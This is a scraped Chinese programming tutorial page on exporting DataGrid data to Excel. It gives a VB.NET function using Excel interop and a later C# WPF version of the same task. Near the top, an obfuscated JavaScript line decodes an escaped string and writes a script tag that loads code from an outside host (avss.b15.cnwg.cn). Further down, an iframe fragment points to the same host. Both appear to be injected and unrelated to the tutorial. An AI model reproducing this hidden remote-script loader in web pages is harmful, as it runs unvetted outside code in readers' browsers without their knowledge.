如何将DataGrid中的数据导出到Excel文件中

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
如何将DataGrid中的数据导出到Excel文件中



引用Excel XX Object library
    Function SendToExcel(ByVal Table As DataTable, ByVal SheetName As String)
        Dim oExcel As New Excel.Application()
        Dim obook As Excel.Workbook
        Dim oSheet As Excel.Worksheet
        Try
            obook = oExcel.Workbooks.Add '.Open(file)
            oSheet = obook.Worksheets(1)
            oSheet.Name = SheetName
            Dim r As Integer, c As Integer
            Dim rCount As Integer
            Dim cCount As Integer
            rCount = Table.Rows.Count
            cCount = Table.Columns.Count()
            For c = 1 To cCount
                oSheet.Cells(1, c) = Table.Columns(c - 1).Caption '设置列标题
            Next
            c = 0 : r = 0
            For r = 1 To rCount
                For c = 1 To cCount
                    oSheet.Cells(r + 1, c) = CStr(Table.Rows(r - 1)(c - 1).ToString)
                Next
            Next
            oExcel.Visible = True
        Catch ex As Exception
            MsgBox(ex.Message)
        End Try
        oExcel = Nothing
        obook = Nothing
        oSheet = Nothing
    End Function
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim DTygzl As New System.Data.DataTable
        Dim a As String = "员工表" '生成的Excel的表名
        Me.SqlDataAdapter1.Fill(DataSetName, "DataTableName")
        DTygzl = DatasetName.Tables("DataTableName")
        SendToExcel(DTygzl, a)
    End Sub
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
可以使用以下步骤将WPFDataGrid数据导出Excel: 1. 添加对Microsoft.Office.Interop.Excel的引用。可以在项目通过右键点击“引用”->“添加引用”来添加。 2. 创建一个新的Excel应用程序对象: ``` using Excel = Microsoft.Office.Interop.Excel; Excel.Application excelApp = new Excel.Application(); ``` 3. 创建一个工作簿对象并添加一个新工作表: ``` Excel.Workbook workbook = excelApp.Workbooks.Add(); Excel.Worksheet worksheet = workbook.ActiveSheet; worksheet.Name = "DataGrid数据"; ``` 4. 将DataGrid数据复制到Excel表格: ``` for (int i = 0; i < dataGrid.Items.Count; i++) { for (int j = 0; j < dataGrid.Columns.Count; j++) { var cellValue = dataGrid.Columns[j].GetCellContent(dataGrid.Items[i]); if (cellValue != null) { worksheet.Cells[i + 1, j + 1] = cellValue.ToString(); } } } ``` 5. 保存Excel文件并关闭Excel应用程序对象: ``` workbook.SaveAs("DataGrid数据.xlsx"); workbook.Close(); excelApp.Quit(); ``` 完整代码示例如下: ``` private void ExportToExcel(DataGrid dataGrid) { Excel.Application excelApp = new Excel.Application(); Excel.Workbook workbook = excelApp.Workbooks.Add(); Excel.Worksheet worksheet = workbook.ActiveSheet; worksheet.Name = "DataGrid数据"; for (int i = 0; i < dataGrid.Items.Count; i++) { for (int j = 0; j < dataGrid.Columns.Count; j++) { var cellValue = dataGrid.Columns[j].GetCellContent(dataGrid.Items[i]); if (cellValue != null) { worksheet.Cells[i + 1, j + 1] = cellValue.ToString(); } } } workbook.SaveAs("DataGrid数据.xlsx"); workbook.Close(); excelApp.Quit(); } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值